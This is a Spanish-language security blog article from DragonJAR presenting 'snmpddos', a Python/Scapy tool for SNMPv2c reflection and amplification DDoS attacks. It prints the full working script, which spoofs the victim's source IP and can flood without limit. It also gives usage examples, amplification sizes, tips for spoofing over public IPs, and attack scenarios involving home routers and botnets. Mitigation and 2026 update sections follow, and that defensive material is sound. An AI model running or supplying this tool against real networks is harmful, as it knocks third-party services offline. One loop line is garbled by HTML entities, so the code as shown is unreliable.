Explotando DDoS usando servidores SNMP

El objetivo de esta entrada es presentar una herramienta que denominé snmpddos, esta herramienta permite utilizar servidores SNMP V2c para realizar un ataque de denegación de servicio distribuido basado en reflexión (SNMP reflected attack); antes de enfocarnos en la práctica de este ataque vamos a explicar en qué consiste y como funciona, explotando DDoS usando servidores SNMP.

Explotando DDoS usando servidores SNMP funcionamiento del ataque

Antes de entender la técnica de DDoS basada en reflexión SNMP, vamos recordar que SNMP es un protocolo de administración, su uso ha sido muy extendido para el monitoreo y supervisión de los dispositivos de red en entornos corporativos, existen tres versiones:

Tabla de Contenido

SNMP V1 (no recomendada), V2c (no recomendada) y V3 (recomendada), las dos primeras versiones tienen autenticación débil (basado en el valor de la comunidad) y no cifran la información, SNMP utiliza típicamente UDP como protocolo de transporte, utiliza los puertos UDP/161 y UDP/162 (traps).

Factores determinantes para ejecutar un ataque explotando DDoS usando servidores SNMP

Los dos factores determinantes para ejecutar el ataque son los siguientes:

En una comunicación basada en protocolo UDP (no orientada a la conexión) y por motivos de eficiencia, los datos se envían y se reciben sin verificar la conexión con el origen o destino de la misma y se da por hecho la correcta entrega o recepción de datos. Esto nos permite modificar la dirección IP origen dando pie al “IP spoofing”.
Por otra parte el protocolo SNMP permite que se realicen consultas de gran volumen a través del tipo de solicitud llamado “GetBulkRequest”, esta solicitud en la V2c se caracteriza por que el tamaño de su respuesta (423-1560 Bytes) es mucho más grande que el de la solicitud (0-102 Bytes), esto significa que existe un efecto de amplificación ya que la respuesta es más grande que la solicitud

De acuerdo a lo explicado, a todas las solicitudes SNMP tipo GetBulkRequest que se hagan a un servidor SNMP modificando la IP origen (IP Spoofing) por la IP de la víctima, el servidor SNMP responderá con respuestas de gran tamaño a IP la víctima. (tal como lo muestra la siguiente imagen).

Si esto mismo lo masificamos obtendremos un ataque de denegación distribuido basado en reflexión SNMP, tal como se muestra en la siguiente imagen:

SCRIPT snmpddos

Este script se encuentra escrito en Python y hace uso de Scapy, funciona perfectamente en BackTrack 5 R3 y KALI. El código se encuentra en GitHub y se puede descargar desde https://github.com/jevalenciap/snmpddos/blob/master/snmpddos.py

# Autor: Juan Esteban Valencia Pantoja jevalenciap at gmail dot com
import sys
import random
import logging # La siguiente  linea es usada para omitir los errores de IPV6 que pueden aparecer por importar scapy.
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
import argparse
import os
import urllib2
if os.getuid() != 0: # Valida si el script esta siendo corrido como root
    print("Debes ejecutar este script como root.")
    sys.exit(1)
parser = argparse.ArgumentParser(description='Esta herramienta contruida con fines educacionales permite simular el comportamiento de  un ataque de denegacion de servicio distribuida basado en reflexion utilizando el protocolo SNMP V2c (DDoS SNMP reflected attack). ') # Esta y las siguientes 4 lineas controlan y definen los argumentos ingresados
parser.add_argument('-d', action="store",dest='snmp_server', help='La IP destino del servidor SNMP(argumento mandatorio)')
parser.add_argument('-c', action="store",dest='community', help='La comunidad SNMP(por defecto es public).')
parser.add_argument('-p', action="store",dest='port', help='El puerto destino del servidor SNMP(por defecto es UDP 161).')
parser.add_argument('-v', action="store",dest='victim_IP', help='La IP de la victima que recibira el ataque(argumento mandatorio).')
parser.add_argument('-s', action="store",dest='count', help='La cantidad de paquetes que deseas enviar,puedes enviar infinitos paquetes ingresando  X o x (argumento mandatorio).')
args = parser.parse_args()

if len(sys.argv) == 1: # Obliga a mostrar el texto del 'help' sino hay argumentos ingresados.
    parser.print_help()
    sys.exit(1)
args = vars(args) # Convierte los argumentos en formato diccionario para facil manejo.
iterationCount = 0 # Variable usada en el ciclo while para controlar la cantidad de veces que un paquete es enviado.

oid ="1.3.6.1.2.1.1.1" # El OID conocido como sysDescr fue el que mejores resultados obtuvo en las pruebas de laboratorio.

if args['port' ] == None :
    uport= 161 # Si no se ingresa el puerto, por defecto sera 161/UDP
else:
    uport= int(args['port']) # La variable uport toma el valor del puerto 

if args['community']  == None :
    communi= "public" # Si no se ingresa la comunidad , por defecto sera public
else:
    communi= args['community']

if args['count'] == "X" or args['count'] == "x": # Si se ingresa x o X se enviara infinitos paquetes
      while (1 == 1):
        w =IP(dst=args['snmp_server'],src=args['victim_IP'])/UDP(sport=RandShort(),dport=uport)/SNMP(version="v2c",community=communi,PDU=SNMPbulk(id=RandNum(1,200000000),max_repetitions=100,varbindlist=[SNMPvarbind(oid=ASN1_OID(oid)), SNMPvarbind(oid=ASN1_OID(oid))]))# Esta linea construye el paquete SNMP utilizando los argumentos ingresados
        send(w,  verbose=0) # Envia el paquete
        iterationCount = iterationCount + 1
        print(str(iterationCount) + " Paquete enviado")# Mensaje en pantalla
else: # Se ejecuta si el usuario digita la cantidad de paquetes que va enviar
    while iterationCount &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt; int(args['count']):
        w =IP(dst=args['snmp_server'],src=args['victim_IP'])/UDP(sport=RandShort(),dport=uport)/SNMP(version="v2c",community=communi,PDU=SNMPbulk(id=RandNum(1,200000000),max_repetitions=100,varbindlist=[SNMPvarbind(oid=ASN1_OID(oid)),SNMPvarbind(oid=ASN1_OID(oid) )]))# Se envia paquete SNMP  utilizando los argumentos ingresados
        send(w,  verbose=0) # Envia el paquete
        iterationCount = iterationCount + 1
        print(str(iterationCount) + " Paquete enviado")
print("Todos los paquetes fueron enviados exitosamente.")# Mensaje mostrado cuando todos los paquetes han sido enviados

Utilizando la opción -h podemos ver las opciones

Ejemplo de solicitudes SNMP

Explotando DDoS usando servidores SNMP, en el siguiente ejemplo enviamos 7 solicitudes SNMP tipo GetBulkRequest al servidor SNMP con IP 10.0.0.1 (Router Cisco), haciendo una suplantación de la IP origen para que todas las respuestas del servidor SNMP sean enviadas a la IP de la víctima es decir a la IP 10.0.0.3.

Aquí se utiliza la comunidad SNMP ‘public’, es la que va por defecto si el argumento –c no es especificado, al igual que el puerto destino por defecto es UDP/161 si no es especificado

En Wireshark podemos ver que el tamaño de la solicitud es de 97 Bytes.

En la siguiente imagen podemos ver la respuesta amplificada que le envía el servidor SNMP (10.0.0.1) a la víctima (10.0.0.3) en donde se aprecia que tiene un tamaño de 1438 Bytes. Adicionalmente la victima envía un paquete ICMP de port unreachable al servidor SNMP generando tráfico adicional.

En este último ejemplo a diferencia del anterior se envían paquetes constantemente (argumento –s X), y se especifica la comunidad SNMP en “private” (argumento –c private)

Trabajando con IPs publicas

Cuando se requiera trabajar con IPs públicas validar que el dispositivo de borde no haga NAT a este tráfico. También no deben existir configuradas ACL en los routers y demás dispositivos de capa3 del ISP que impidan el IP spoofing.

Escenarios de ataque explotando DDoS usando servidores SNMP

Un atacante que tenga acceso lógico a una Subred o VLAN de servidores en un entorno corporativo mediano (superior a 100 servidores) donde todos los servidores estén siendo monitoreados a través de SNMP, puede causar alto impacto alto en la disponibilidad de los servicios que ofrece la victima del ataque.
Muchos proveedores de servicio de Internet dejan habilitado por defecto SNMP en los enrutadores que instalan nuestras casas para la prestación del servicio, eso quiere decir que tienen configurada la comunidad por defecto llamada “public” y a merced de que sean utilizados para hacerle una denegación de servicio a tu conexión de Internet.
Por ultimo tenemos las botnets, que a través de sus consolas de control pueden enviar comandos a las maquinas infectadas (bots) para que generen este tipo de tráfico a la víctima sin que este sea percibido por los bots.

Mitigaciones

Buenas prácticas actuales si administras SNMP en tu organización

Si en 2026 todavía tienes agentes SNMP en tu infraestructura, esta es la lista mínima de verificación que deberías aplicar:

Migra a SNMPv3 con autenticación y privacidad activadas (authPriv) y deshabilita las versiones 1 y 2c donde no sean estrictamente necesarias.
Elimina las comunidades por defecto (public, private). Si debes mantener v2c por compatibilidad, usa nombres de comunidad únicos, largos y tratados como contraseñas.
Segmenta la gestión: los agentes SNMP deben vivir en una VLAN o subred de administración, inaccesibles desde las redes de usuarios y, sobre todo, desde Internet.
Filtra en el firewall: permite UDP/161 únicamente desde las direcciones IP de tus consolas de monitoreo (NMS), nunca desde «cualquiera».
Desactívalo donde no se use: impresoras, cámaras, equipos de borde domésticos y dispositivos IoT suelen traer SNMP habilitado por defecto sin que nadie lo consulte jamás.
Monitorea anomalías: un aumento súbito del tráfico UDP/161 saliente o consultas GetBulk inusuales son señales de que tus equipos podrían estar siendo usados como reflectores.
Ten un plan de respuesta DDoS definido y probado, con contactos de tu proveedor de mitigación o de tu ISP listos antes del incidente, no durante.

Nota histórica sobre este artículo: el script snmpddos que se presenta fue escrito en Python 2 (usa urllib2) para las distribuciones de la época; hoy su valor es documental y de laboratorio. Cualquier prueba de este tipo debe realizarse exclusivamente en entornos controlados y con autorización explícita por escrito, como parte de un ejercicio de seguridad legítimo.

No exponer a Internet el protocolo SNMP, recomendable utilizar VPNs IPsec sitio a sitio para comunicar las consolas de administración (NMS) con dispositivos administrados o en su defecto aplicar políticas de Firewall para filtrar solamente el trafico SNMP a IPs publicas específicas.
Utilizar en los ambientes corporativos VLAN o subredes de administración ( SNMP, HTTP, HTTPS, RDP, SSH, TELNET, etc…) y deshabilitar el acceso administrativo a las demás interfaces de red de los servidores o equipos de red.
Muchos fabricantes de UTMs y Firewall de nueva generación no permiten IP spoofing por defecto, una buena práctica que evita el IP spoofing a nivel de Firewall es siempre especificar el direccionamiento origen en las reglas o políticas que se crean (no dejarlas any).
Existen dispositivos comerciales y servicios en la nube especializados en detener ataques DDoS.
No utilizar las comunidades por defecto public y private, recuerden que para las V1 y V2 de SNMP el nombre de la comunidad es lo único que se utiliza para autenticarse al servidor SNMP y poder tener acceso a la información (lectura/escritura) por lo tanto el valor de la comunidad se debe escoger siguiendo las mismas buenas practicas que para una contraseña robusta.
Utilizar SNMP V3 cifra los datos y la autenticación es más robusta.
Exista una labor muy grande que tienen que hacer los ISP para evitar el IP spoofing en sus dispositivos de red y evitar los ataques DDoS de reflexión.
Siempre que se instale una impresora o cualquier dispositivo a la red validar que no tenga habilitado por defecto SNMP.

Actualización 2026: la amplificación SNMP sigue vigente, pero la defensa ya no es la de 2014

Doce años después de publicado este artículo, el principio técnico que describe sigue siendo válido: el protocolo UDP permite la suplantación de la dirección de origen y las respuestas GetBulkRequest de SNMPv2c son notablemente más grandes que las solicitudes, lo que convierte a cualquier agente SNMP mal configurado en un potencial amplificador. Lo que cambió de forma sustancial es el ecosistema defensivo alrededor de este vector:
- Filtrado de ingreso en los operadores: la práctica recomendada desde hace años (documentada en BCP 38) es que los proveedores de red descarten en el borde el tráfico con direcciones de origen falsificadas. Cada operador que la aplica reduce la superficie útil de los ataques de reflexión.
- SNMPv3 como estándar de gestión: las versiones 1 y 2c siguen existiendo por compatibilidad, pero ninguna infraestructura gestionada con seriedad debería usarlas hoy: SNMPv3 aporta autenticación fuerte y cifrado de la información de gestión.
- UDP/161 nunca expuesto a Internet: el consenso actual es que los agentes SNMP solo deben ser alcanzables desde la red de gestión, a través de VPN o listas de control de acceso estrictas en el firewall.
- Mitigación DDoS como servicio: los proveedores de mitigación con centros de depuración de tráfico (scrubbing) y los servicios de protección en la nube absorben hoy volúmenes de ataque que en 2014 solo las grandes operadoras podían soportar.
En resumen: el vector no desapareció, pero abusar de él es cada vez más difícil cuando administradores y operadores aplican las prácticas anteriores. La lección de 2014 sigue intacta: el problema nunca fue el protocolo en sí, sino su despliegue descuidado.

También puede ser de tu Interés – https://www.dragonjar.org/curso-de-metasploit.xhtml

Explotando DDoS usando servidores SNMP un artículo escrito por Juan Esteban Valencia Pantoja para La Comunidad DragonJAR

¿Necesitas evaluar la exposición de tu infraestructura a ataques de denegación de servicio? En DragonJAR realizamos auditorías y pruebas de penetración que identifican servicios mal configurados, protocolos expuestos y superficies de amplificación antes de que un atacante las aproveche. Solicita una cotización aquí.

WPScan Vulnerability Database

Explotando DDoS usando servidores SNMP